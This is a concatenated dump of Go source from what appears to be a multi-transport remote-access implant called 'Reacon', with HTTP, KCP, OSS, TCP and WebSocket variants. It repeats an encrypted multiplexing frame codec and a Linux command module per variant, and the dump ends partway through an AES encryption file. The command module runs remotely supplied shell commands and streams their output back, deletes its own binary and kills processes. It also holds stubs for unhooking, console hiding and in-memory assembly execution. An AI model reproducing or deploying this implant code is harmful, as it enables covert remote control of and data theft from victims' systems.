28 | flagKeepalive // empty frame to keep connection open 29 | flagOpenStream // first frame in stream 30 | flagCloseStream // stream is being closed gracefully 31 | flagCloseMux // mux is being closed gracefully 32 | ) 33 | 34 | func encodeFrameHeader(buf []byte, h frameHeader) { 35 | binary.LittleEndian.PutUint32(buf[0:], h.id) 36 | binary.LittleEndian.PutUint16(buf[4:], h.length) 37 | binary.LittleEndian.PutUint16(buf[6:], h.flags) 38 | copy(buf[8:], h.nonce[:]) 39 | } 40 | 41 | func decodeFrameHeader(buf []byte) frameHeader { 42 | h := frameHeader{ 43 | id: binary.LittleEndian.Uint32(buf[0:]), 44 | length: binary.LittleEndian.Uint16(buf[4:]), 45 | flags: binary.LittleEndian.Uint16(buf[6:]), 46 | } 47 | copy(h.nonce[:], buf[8:]) 48 | return h 49 | } 50 | 51 | // nextFrame reads and decrypts a frame from reader 52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) { 53 | 54 | headerBuf := [frameHeaderSize]byte{} 55 | 56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil { 57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err) 58 | } 59 | h := decodeFrameHeader(headerBuf[:]) 60 | 61 | payloadSize := uint32(chacha20poly1305.Overhead) 62 | if h.flags == flagData { 63 | payloadSize += uint32(h.length) 64 | } 65 | 66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil { 67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err) 68 | } 69 | 70 | // Decrypt the message and check it wasn't tampered with. 71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil { 72 | return frameHeader{}, nil, err 73 | } 74 | 75 | return h, frameBuf[:h.length], nil 76 | } 77 | 78 | // appendFrame writs and encrypts a frame to buf 79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte { 80 | rand.Read(h.nonce[:]) 81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()] 82 | encodeFrameHeader(frame[:frameHeaderSize], h) 83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize]) 84 | return buf[:len(buf)+len(frame)] 85 | } 86 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/mux/frame.go: -------------------------------------------------------------------------------- 1 | package mux 2 | 3 | import ( 4 | "crypto/cipher" 5 | "crypto/rand" 6 | "encoding/binary" 7 | "fmt" 8 | "io" 9 | "math" 10 | 11 | "golang.org/x/crypto/chacha20poly1305" 12 | ) 13 | 14 | type frameHeader struct { 15 | id uint32 16 | length uint16 17 | flags uint16 18 | nonce [chacha20poly1305.NonceSizeX]byte 19 | } 20 | 21 | const ( 22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size 23 | maxPayloadSize = math.MaxUint16 24 | ) 25 | 26 | const ( 27 | flagData = iota + 1 // data frame 28 | flagKeepalive // empty frame to keep connection open 29 | flagOpenStream // first frame in stream 30 | flagCloseStream // stream is being closed gracefully 31 | flagCloseMux // mux is being closed gracefully 32 | ) 33 | 34 | func encodeFrameHeader(buf []byte, h frameHeader) { 35 | binary.LittleEndian.PutUint32(buf[0:], h.id) 36 | binary.LittleEndian.PutUint16(buf[4:], h.length) 37 | binary.LittleEndian.PutUint16(buf[6:], h.flags) 38 | copy(buf[8:], h.nonce[:]) 39 | } 40 | 41 | func decodeFrameHeader(buf []byte) frameHeader { 42 | h := frameHeader{ 43 | id: binary.LittleEndian.Uint32(buf[0:]), 44 | length: binary.LittleEndian.Uint16(buf[4:]), 45 | flags: binary.LittleEndian.Uint16(buf[6:]), 46 | } 47 | copy(h.nonce[:], buf[8:]) 48 | return h 49 | } 50 | 51 | // nextFrame reads and decrypts a frame from reader 52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) { 53 | 54 | headerBuf := [frameHeaderSize]byte{} 55 | 56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil { 57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err) 58 | } 59 | h := decodeFrameHeader(headerBuf[:]) 60 | 61 | payloadSize := uint32(chacha20poly1305.Overhead) 62 | if h.flags == flagData { 63 | payloadSize += uint32(h.length) 64 | } 65 | 66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil { 67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err) 68 | } 69 | 70 | // Decrypt the message and check it wasn't tampered with. 71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil { 72 | return frameHeader{}, nil, err 73 | } 74 | 75 | return h, frameBuf[:h.length], nil 76 | } 77 | 78 | // appendFrame writs and encrypts a frame to buf 79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte { 80 | rand.Read(h.nonce[:]) 81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()] 82 | encodeFrameHeader(frame[:frameHeaderSize], h) 83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize]) 84 | return buf[:len(buf)+len(frame)] 85 | } 86 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/mux/frame.go: -------------------------------------------------------------------------------- 1 | package mux 2 | 3 | import ( 4 | "crypto/cipher" 5 | "crypto/rand" 6 | "encoding/binary" 7 | "fmt" 8 | "io" 9 | "math" 10 | 11 | "golang.org/x/crypto/chacha20poly1305" 12 | ) 13 | 14 | type frameHeader struct { 15 | id uint32 16 | length uint16 17 | flags uint16 18 | nonce [chacha20poly1305.NonceSizeX]byte 19 | } 20 | 21 | const ( 22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size 23 | maxPayloadSize = math.MaxUint16 24 | ) 25 | 26 | const ( 27 | flagData = iota + 1 // data frame 28 | flagKeepalive // empty frame to keep connection open 29 | flagOpenStream // first frame in stream 30 | flagCloseStream // stream is being closed gracefully 31 | flagCloseMux // mux is being closed gracefully 32 | ) 33 | 34 | func encodeFrameHeader(buf []byte, h frameHeader) { 35 | binary.LittleEndian.PutUint32(buf[0:], h.id) 36 | binary.LittleEndian.PutUint16(buf[4:], h.length) 37 | binary.LittleEndian.PutUint16(buf[6:], h.flags) 38 | copy(buf[8:], h.nonce[:]) 39 | } 40 | 41 | func decodeFrameHeader(buf []byte) frameHeader { 42 | h := frameHeader{ 43 | id: binary.LittleEndian.Uint32(buf[0:]), 44 | length: binary.LittleEndian.Uint16(buf[4:]), 45 | flags: binary.LittleEndian.Uint16(buf[6:]), 46 | } 47 | copy(h.nonce[:], buf[8:]) 48 | return h 49 | } 50 | 51 | // nextFrame reads and decrypts a frame from reader 52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) { 53 | 54 | headerBuf := [frameHeaderSize]byte{} 55 | 56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil { 57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err) 58 | } 59 | h := decodeFrameHeader(headerBuf[:]) 60 | 61 | payloadSize := uint32(chacha20poly1305.Overhead) 62 | if h.flags == flagData { 63 | payloadSize += uint32(h.length) 64 | } 65 | 66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil { 67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err) 68 | } 69 | 70 | // Decrypt the message and check it wasn't tampered with. 71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil { 72 | return frameHeader{}, nil, err 73 | } 74 | 75 | return h, frameBuf[:h.length], nil 76 | } 77 | 78 | // appendFrame writs and encrypts a frame to buf 79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte { 80 | rand.Read(h.nonce[:]) 81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()] 82 | encodeFrameHeader(frame[:frameHeaderSize], h) 83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize]) 84 | return buf[:len(buf)+len(frame)] 85 | } 86 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/mux/frame.go: -------------------------------------------------------------------------------- 1 | package mux 2 | 3 | import ( 4 | "crypto/cipher" 5 | "crypto/rand" 6 | "encoding/binary" 7 | "fmt" 8 | "io" 9 | "math" 10 | 11 | "golang.org/x/crypto/chacha20poly1305" 12 | ) 13 | 14 | type frameHeader struct { 15 | id uint32 16 | length uint16 17 | flags uint16 18 | nonce [chacha20poly1305.NonceSizeX]byte 19 | } 20 | 21 | const ( 22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size 23 | maxPayloadSize = math.MaxUint16 24 | ) 25 | 26 | const ( 27 | flagData = iota + 1 // data frame 28 | flagKeepalive // empty frame to keep connection open 29 | flagOpenStream // first frame in stream 30 | flagCloseStream // stream is being closed gracefully 31 | flagCloseMux // mux is being closed gracefully 32 | ) 33 | 34 | func encodeFrameHeader(buf []byte, h frameHeader) { 35 | binary.LittleEndian.PutUint32(buf[0:], h.id) 36 | binary.LittleEndian.PutUint16(buf[4:], h.length) 37 | binary.LittleEndian.PutUint16(buf[6:], h.flags) 38 | copy(buf[8:], h.nonce[:]) 39 | } 40 | 41 | func decodeFrameHeader(buf []byte) frameHeader { 42 | h := frameHeader{ 43 | id: binary.LittleEndian.Uint32(buf[0:]), 44 | length: binary.LittleEndian.Uint16(buf[4:]), 45 | flags: binary.LittleEndian.Uint16(buf[6:]), 46 | } 47 | copy(h.nonce[:], buf[8:]) 48 | return h 49 | } 50 | 51 | // nextFrame reads and decrypts a frame from reader 52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) { 53 | 54 | headerBuf := [frameHeaderSize]byte{} 55 | 56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil { 57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err) 58 | } 59 | h := decodeFrameHeader(headerBuf[:]) 60 | 61 | payloadSize := uint32(chacha20poly1305.Overhead) 62 | if h.flags == flagData { 63 | payloadSize += uint32(h.length) 64 | } 65 | 66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil { 67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err) 68 | } 69 | 70 | // Decrypt the message and check it wasn't tampered with. 71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil { 72 | return frameHeader{}, nil, err 73 | } 74 | 75 | return h, frameBuf[:h.length], nil 76 | } 77 | 78 | // appendFrame writs and encrypts a frame to buf 79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte { 80 | rand.Read(h.nonce[:]) 81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()] 82 | encodeFrameHeader(frame[:frameHeaderSize], h) 83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize]) 84 | return buf[:len(buf)+len(frame)] 85 | } 86 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/mux/frame.go: -------------------------------------------------------------------------------- 1 | package mux 2 | 3 | import ( 4 | "crypto/cipher" 5 | "crypto/rand" 6 | "encoding/binary" 7 | "fmt" 8 | "io" 9 | "math" 10 | 11 | "golang.org/x/crypto/chacha20poly1305" 12 | ) 13 | 14 | type frameHeader struct { 15 | id uint32 16 | length uint16 17 | flags uint16 18 | nonce [chacha20poly1305.NonceSizeX]byte 19 | } 20 | 21 | const ( 22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size 23 | maxPayloadSize = math.MaxUint16 24 | ) 25 | 26 | const ( 27 | flagData = iota + 1 // data frame 28 | flagKeepalive // empty frame to keep connection open 29 | flagOpenStream // first frame in stream 30 | flagCloseStream // stream is being closed gracefully 31 | flagCloseMux // mux is being closed gracefully 32 | ) 33 | 34 | func encodeFrameHeader(buf []byte, h frameHeader) { 35 | binary.LittleEndian.PutUint32(buf[0:], h.id) 36 | binary.LittleEndian.PutUint16(buf[4:], h.length) 37 | binary.LittleEndian.PutUint16(buf[6:], h.flags) 38 | copy(buf[8:], h.nonce[:]) 39 | } 40 | 41 | func decodeFrameHeader(buf []byte) frameHeader { 42 | h := frameHeader{ 43 | id: binary.LittleEndian.Uint32(buf[0:]), 44 | length: binary.LittleEndian.Uint16(buf[4:]), 45 | flags: binary.LittleEndian.Uint16(buf[6:]), 46 | } 47 | copy(h.nonce[:], buf[8:]) 48 | return h 49 | } 50 | 51 | // nextFrame reads and decrypts a frame from reader 52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) { 53 | 54 | headerBuf := [frameHeaderSize]byte{} 55 | 56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil { 57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err) 58 | } 59 | h := decodeFrameHeader(headerBuf[:]) 60 | 61 | payloadSize := uint32(chacha20poly1305.Overhead) 62 | if h.flags == flagData { 63 | payloadSize += uint32(h.length) 64 | } 65 | 66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil { 67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err) 68 | } 69 | 70 | // Decrypt the message and check it wasn't tampered with. 71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil { 72 | return frameHeader{}, nil, err 73 | } 74 | 75 | return h, frameBuf[:h.length], nil 76 | } 77 | 78 | // appendFrame writs and encrypts a frame to buf 79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte { 80 | rand.Read(h.nonce[:]) 81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()] 82 | encodeFrameHeader(frame[:frameHeaderSize], h) 83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize]) 84 | return buf[:len(buf)+len(frame)] 85 | } 86 | -------------------------------------------------------------------------------- /Reacon_http/pkg/commands/commands_linux.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "errors" 6 | "os" 7 | "os/exec" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | "time" 12 | ) 13 | 14 | func HideConsole() error { 15 | //return errors.New("this platform not supports HideConsole now.") 16 | return nil 17 | } 18 | func SetProcessDPIAware() error { 19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.") 20 | return nil 21 | } 22 | func FullUnhook() error { 23 | return nil 24 | } 25 | func Run(b []byte) ([]byte, error) { 26 | return nil, nil 27 | } 28 | func DeleteSelf() ([]byte, error) { 29 | filename, err := os.Executable() 30 | if err != nil { 31 | return nil, err 32 | } 33 | Path := strings.ReplaceAll(string(filename), "\\", "/") 34 | err = os.RemoveAll(Path) 35 | if err != nil { 36 | return nil, errors.New("Remove failed") 37 | } 38 | return []byte("Remove " + string(filename) + " success"), nil 39 | } 40 | func KillProcess(pid uint32) ([]byte, error) { 41 | err := syscall.Kill(int(pid), 15) 42 | if err != nil { 43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found") 44 | } 45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil 46 | } 47 | func Drives() ([]byte, error) { 48 | return nil, errors.New("This function is not supported on this platform now.") 49 | } 50 | func Shell(path string, args []byte) ([]byte, error) { 51 | path = "/bin/sh" 52 | argsArray := []string{"-c", string(args)} 53 | cmd := exec.Command(path, argsArray...) 54 | stdout, err := cmd.StdoutPipe() 55 | cmd.Stderr = cmd.Stdout 56 | if err != nil { 57 | return nil, errors.New("exec failed with: " + err.Error()) 58 | } 59 | if err = cmd.Start(); err != nil { 60 | return nil, errors.New("exec failed with: " + err.Error()) 61 | } 62 | 63 | var buf []byte 64 | var count int 65 | time.Sleep(500 * time.Millisecond) 66 | buf = make([]byte, 1024*50) 67 | count, err = stdout.Read(buf) 68 | communication.DataProcess(0, buf[:count]) 69 | for { 70 | buf = make([]byte, 1024*50) 71 | count, err = stdout.Read(buf) 72 | if err != nil { 73 | break 74 | } 75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...)) 76 | time.Sleep(5000 * time.Millisecond) 77 | } 78 | 79 | if err = cmd.Wait(); err != nil { 80 | return nil, errors.New("exec failed with: " + err.Error()) 81 | } 82 | 83 | return []byte("success"), nil 84 | 85 | } 86 | func Execute(b []byte) ([]byte, error) { 87 | return nil, errors.New("This function is not supported on this platform now.") 88 | } 89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) { 90 | return nil, errors.New("This function is not supported on this platform now.") 91 | } 92 | func Inline_Bin(data []byte) ([]byte, error) { 93 | return nil, errors.New("This function is not supported on this platform now.") 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/commands/commands_linux.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "errors" 6 | "os" 7 | "os/exec" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | "time" 12 | ) 13 | 14 | func HideConsole() error { 15 | //return errors.New("this platform not supports HideConsole now.") 16 | return nil 17 | } 18 | func SetProcessDPIAware() error { 19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.") 20 | return nil 21 | } 22 | func FullUnhook() error { 23 | return nil 24 | } 25 | func Run(b []byte) ([]byte, error) { 26 | return nil, nil 27 | } 28 | func DeleteSelf() ([]byte, error) { 29 | filename, err := os.Executable() 30 | if err != nil { 31 | return nil, err 32 | } 33 | Path := strings.ReplaceAll(string(filename), "\\", "/") 34 | err = os.RemoveAll(Path) 35 | if err != nil { 36 | return nil, errors.New("Remove failed") 37 | } 38 | return []byte("Remove " + string(filename) + " success"), nil 39 | } 40 | func KillProcess(pid uint32) ([]byte, error) { 41 | err := syscall.Kill(int(pid), 15) 42 | if err != nil { 43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found") 44 | } 45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil 46 | } 47 | func Drives() ([]byte, error) { 48 | return nil, errors.New("This function is not supported on this platform now.") 49 | } 50 | func Shell(path string, args []byte) ([]byte, error) { 51 | path = "/bin/sh" 52 | argsArray := []string{"-c", string(args)} 53 | cmd := exec.Command(path, argsArray...) 54 | stdout, err := cmd.StdoutPipe() 55 | cmd.Stderr = cmd.Stdout 56 | if err != nil { 57 | return nil, errors.New("exec failed with: " + err.Error()) 58 | } 59 | if err = cmd.Start(); err != nil { 60 | return nil, errors.New("exec failed with: " + err.Error()) 61 | } 62 | 63 | var buf []byte 64 | var count int 65 | time.Sleep(500 * time.Millisecond) 66 | buf = make([]byte, 1024*50) 67 | count, err = stdout.Read(buf) 68 | communication.DataProcess(0, buf[:count]) 69 | for { 70 | buf = make([]byte, 1024*50) 71 | count, err = stdout.Read(buf) 72 | if err != nil { 73 | break 74 | } 75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...)) 76 | time.Sleep(5000 * time.Millisecond) 77 | } 78 | 79 | if err = cmd.Wait(); err != nil { 80 | return nil, errors.New("exec failed with: " + err.Error()) 81 | } 82 | 83 | return []byte("success"), nil 84 | 85 | } 86 | func Execute(b []byte) ([]byte, error) { 87 | return nil, errors.New("This function is not supported on this platform now.") 88 | } 89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) { 90 | return nil, errors.New("This function is not supported on this platform now.") 91 | } 92 | func Inline_Bin(data []byte) ([]byte, error) { 93 | return nil, errors.New("This function is not supported on this platform now.") 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/commands/commands_linux.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "errors" 6 | "os" 7 | "os/exec" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | "time" 12 | ) 13 | 14 | func HideConsole() error { 15 | //return errors.New("this platform not supports HideConsole now.") 16 | return nil 17 | } 18 | func SetProcessDPIAware() error { 19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.") 20 | return nil 21 | } 22 | func FullUnhook() error { 23 | return nil 24 | } 25 | func Run(b []byte) ([]byte, error) { 26 | return nil, nil 27 | } 28 | func DeleteSelf() ([]byte, error) { 29 | filename, err := os.Executable() 30 | if err != nil { 31 | return nil, err 32 | } 33 | Path := strings.ReplaceAll(string(filename), "\\", "/") 34 | err = os.RemoveAll(Path) 35 | if err != nil { 36 | return nil, errors.New("Remove failed") 37 | } 38 | return []byte("Remove " + string(filename) + " success"), nil 39 | } 40 | func KillProcess(pid uint32) ([]byte, error) { 41 | err := syscall.Kill(int(pid), 15) 42 | if err != nil { 43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found") 44 | } 45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil 46 | } 47 | func Drives() ([]byte, error) { 48 | return nil, errors.New("This function is not supported on this platform now.") 49 | } 50 | func Shell(path string, args []byte) ([]byte, error) { 51 | path = "/bin/sh" 52 | argsArray := []string{"-c", string(args)} 53 | cmd := exec.Command(path, argsArray...) 54 | stdout, err := cmd.StdoutPipe() 55 | cmd.Stderr = cmd.Stdout 56 | if err != nil { 57 | return nil, errors.New("exec failed with: " + err.Error()) 58 | } 59 | if err = cmd.Start(); err != nil { 60 | return nil, errors.New("exec failed with: " + err.Error()) 61 | } 62 | 63 | var buf []byte 64 | var count int 65 | time.Sleep(500 * time.Millisecond) 66 | buf = make([]byte, 1024*50) 67 | count, err = stdout.Read(buf) 68 | communication.DataProcess(0, buf[:count]) 69 | for { 70 | buf = make([]byte, 1024*50) 71 | count, err = stdout.Read(buf) 72 | if err != nil { 73 | break 74 | } 75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...)) 76 | time.Sleep(5000 * time.Millisecond) 77 | } 78 | 79 | if err = cmd.Wait(); err != nil { 80 | return nil, errors.New("exec failed with: " + err.Error()) 81 | } 82 | 83 | return []byte("success"), nil 84 | 85 | } 86 | func Execute(b []byte) ([]byte, error) { 87 | return nil, errors.New("This function is not supported on this platform now.") 88 | } 89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) { 90 | return nil, errors.New("This function is not supported on this platform now.") 91 | } 92 | func Inline_Bin(data []byte) ([]byte, error) { 93 | return nil, errors.New("This function is not supported on this platform now.") 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/commands/commands_linux.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "errors" 6 | "os" 7 | "os/exec" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | "time" 12 | ) 13 | 14 | func HideConsole() error { 15 | //return errors.New("this platform not supports HideConsole now.") 16 | return nil 17 | } 18 | func SetProcessDPIAware() error { 19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.") 20 | return nil 21 | } 22 | func FullUnhook() error { 23 | return nil 24 | } 25 | func Run(b []byte) ([]byte, error) { 26 | return nil, nil 27 | } 28 | func DeleteSelf() ([]byte, error) { 29 | filename, err := os.Executable() 30 | if err != nil { 31 | return nil, err 32 | } 33 | Path := strings.ReplaceAll(string(filename), "\\", "/") 34 | err = os.RemoveAll(Path) 35 | if err != nil { 36 | return nil, errors.New("Remove failed") 37 | } 38 | return []byte("Remove " + string(filename) + " success"), nil 39 | } 40 | func KillProcess(pid uint32) ([]byte, error) { 41 | err := syscall.Kill(int(pid), 15) 42 | if err != nil { 43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found") 44 | } 45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil 46 | } 47 | func Drives() ([]byte, error) { 48 | return nil, errors.New("This function is not supported on this platform now.") 49 | } 50 | func Shell(path string, args []byte) ([]byte, error) { 51 | path = "/bin/sh" 52 | argsArray := []string{"-c", string(args)} 53 | cmd := exec.Command(path, argsArray...) 54 | stdout, err := cmd.StdoutPipe() 55 | cmd.Stderr = cmd.Stdout 56 | if err != nil { 57 | return nil, errors.New("exec failed with: " + err.Error()) 58 | } 59 | if err = cmd.Start(); err != nil { 60 | return nil, errors.New("exec failed with: " + err.Error()) 61 | } 62 | 63 | var buf []byte 64 | var count int 65 | time.Sleep(500 * time.Millisecond) 66 | buf = make([]byte, 1024*50) 67 | count, err = stdout.Read(buf) 68 | communication.DataProcess(0, buf[:count]) 69 | for { 70 | buf = make([]byte, 1024*50) 71 | count, err = stdout.Read(buf) 72 | if err != nil { 73 | break 74 | } 75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...)) 76 | time.Sleep(5000 * time.Millisecond) 77 | } 78 | 79 | if err = cmd.Wait(); err != nil { 80 | return nil, errors.New("exec failed with: " + err.Error()) 81 | } 82 | 83 | return []byte("success"), nil 84 | 85 | } 86 | func Execute(b []byte) ([]byte, error) { 87 | return nil, errors.New("This function is not supported on this platform now.") 88 | } 89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) { 90 | return nil, errors.New("This function is not supported on this platform now.") 91 | } 92 | func Inline_Bin(data []byte) ([]byte, error) { 93 | return nil, errors.New("This function is not supported on this platform now.") 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/commands/commands_linux.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "Reacon/pkg/communication" 5 | "errors" 6 | "os" 7 | "os/exec" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | "time" 12 | ) 13 | 14 | func HideConsole() error { 15 | //return errors.New("this platform not supports HideConsole now.") 16 | return nil 17 | } 18 | func SetProcessDPIAware() error { 19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.") 20 | return nil 21 | } 22 | func FullUnhook() error { 23 | return nil 24 | } 25 | func Run(b []byte) ([]byte, error) { 26 | return nil, nil 27 | } 28 | func DeleteSelf() ([]byte, error) { 29 | filename, err := os.Executable() 30 | if err != nil { 31 | return nil, err 32 | } 33 | Path := strings.ReplaceAll(string(filename), "\\", "/") 34 | err = os.RemoveAll(Path) 35 | if err != nil { 36 | return nil, errors.New("Remove failed") 37 | } 38 | return []byte("Remove " + string(filename) + " success"), nil 39 | } 40 | func KillProcess(pid uint32) ([]byte, error) { 41 | err := syscall.Kill(int(pid), 15) 42 | if err != nil { 43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found") 44 | } 45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil 46 | } 47 | func Drives() ([]byte, error) { 48 | return nil, errors.New("This function is not supported on this platform now.") 49 | } 50 | func Shell(path string, args []byte) ([]byte, error) { 51 | path = "/bin/sh" 52 | argsArray := []string{"-c", string(args)} 53 | cmd := exec.Command(path, argsArray...) 54 | stdout, err := cmd.StdoutPipe() 55 | cmd.Stderr = cmd.Stdout 56 | if err != nil { 57 | return nil, errors.New("exec failed with: " + err.Error()) 58 | } 59 | if err = cmd.Start(); err != nil { 60 | return nil, errors.New("exec failed with: " + err.Error()) 61 | } 62 | 63 | var buf []byte 64 | var count int 65 | time.Sleep(500 * time.Millisecond) 66 | buf = make([]byte, 1024*50) 67 | count, err = stdout.Read(buf) 68 | communication.DataProcess(0, buf[:count]) 69 | for { 70 | buf = make([]byte, 1024*50) 71 | count, err = stdout.Read(buf) 72 | if err != nil { 73 | break 74 | } 75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...)) 76 | time.Sleep(5000 * time.Millisecond) 77 | } 78 | 79 | if err = cmd.Wait(); err != nil { 80 | return nil, errors.New("exec failed with: " + err.Error()) 81 | } 82 | 83 | return []byte("success"), nil 84 | 85 | } 86 | func Execute(b []byte) ([]byte, error) { 87 | return nil, errors.New("This function is not supported on this platform now.") 88 | } 89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) { 90 | return nil, errors.New("This function is not supported on this platform now.") 91 | } 92 | func Inline_Bin(data []byte) ([]byte, error) { 93 | return nil, errors.New("This function is not supported on this platform now.") 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/encrypt/encrypt.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/md5" 7 | "crypto/rand" 8 | "encoding/base64" 9 | "encoding/hex" 10 | "fmt" 11 | "io" 12 | r "math/rand" 13 | "time" 14 | ) 15 | 16 | // 密钥生成 17 | func generateKey() []byte { 18 | key := make([]byte, 32) // 256 bits key 19 | if _, err := rand.Read(key); err != nil { 20 | panic(err) 21 | } 22 | return key 23 | } 24 | 25 | // 加密函数 26 | func encryptAES(data []byte, key []byte) ([]byte, error) { 27 | block, err := aes.NewCipher(key) 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | ciphertext := make([]byte, aes.BlockSize+len(data)) 33 | iv := ciphertext[:aes.BlockSize] 34 | 35 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 36 | return nil, err 37 | } 38 | 39 | stream := cipher.NewCFBEncrypter(block, iv) 40 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data) 41 | 42 | return ciphertext, nil 43 | } 44 | 45 | // 解密函数 46 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) { 47 | block, err := aes.NewCipher(key) 48 